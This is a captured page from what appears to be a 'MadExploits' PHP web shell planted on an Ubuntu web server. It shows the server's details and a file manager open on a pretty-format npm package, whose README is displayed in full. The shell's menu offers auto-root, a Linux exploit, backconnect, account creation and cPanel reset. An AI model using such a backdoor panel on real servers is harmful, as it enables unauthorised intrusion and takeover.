Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
events /
node_modules /
pretty-format /
[ HOME SHELL ]
Name
Size
Permission
Action
plugins
[ DIR ]
drwxrwxr-x
.npmignore
27
B
-rw-rw-r--
LICENSE.md
767
B
-rwxrwxr-x
README.md
2.19
KB
-rwxrwxr-x
index.js
10.49
KB
-rw-rw-r--
package.json
671
B
-rw-rw-r--
printString.js
155
B
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : README.md
# pretty-format [](https://travis-ci.org/thejameskyle/pretty-format) > Stringify any JavaScript value. - Supports [all built-in JavaScript types](#type-support) - [Blazingly fast](https://gist.github.com/thejameskyle/2b04ffe4941aafa8f970de077843a8fd) (similar performance to v8's `JSON.stringify` and significantly faster than Node's `util.format`) - Plugin system for extending with custom types (i.e. [`ReactTestComponent`](#reacttestcomponent-plugin)) ## Installation ```sh $ npm install pretty-format ``` ## Usage ```js var prettyFormat = require('pretty-format'); var obj = { property: {} }; obj.circularReference = obj; obj[Symbol('foo')] = 'foo'; obj.map = new Map(); obj.map.set('prop', 'value'); obj.array = [1, NaN, Infinity]; console.log(prettyFormat(obj)); ``` **Result:** ```js Object { "property": Object {}, "circularReference": [Circular], "map": Map { "prop" => "value" }, "array": Array [ 1, NaN, Infinity ], Symbol(foo): "foo" } ``` #### Type Support `Object`, `Array`, `ArrayBuffer`, `DataView`, `Float32Array`, `Float64Array`, `Int8Array`, `Int16Array`, `Int32Array`, `Uint8Array`, `Uint8ClampedArray`, `Uint16Array`, `Uint32Array`, `arguments`, `Boolean`, `Date`, `Error`, `Function`, `Infinity`, `Map`, `NaN`, `null`, `Number`, `RegExp`, `Set`, `String`, `Symbol`, `undefined`, `WeakMap`, `WeakSet` ### Plugins Pretty format also supports adding plugins: ```js var fooPlugin = { test: function(val) { return val && val.hasOwnProperty('foo'); }, print: function(val, print, indent) { return 'Foo: ' + print(val.foo); } }; var obj = { foo: { bar: {} } }; prettyFormat(obj, { plugins: [fooPlugin] }); // Foo: Object { // "bar": Object {} // } ``` #### `ReactTestComponent` plugin ```js var prettyFormat = require('pretty-format'); var reactPlugin = require('pretty-format/plugins/ReactTestComponent'); var React = require('react'); var renderer = require('react/lib/ReactTestRenderer'); var jsx = React.createElement('h1', null, 'Hello World'); prettyFormat(renderer.create(jsx).toJSON(), { plugins: [reactPlugin] }); // <h1> // Hello World // </h1> ```
Close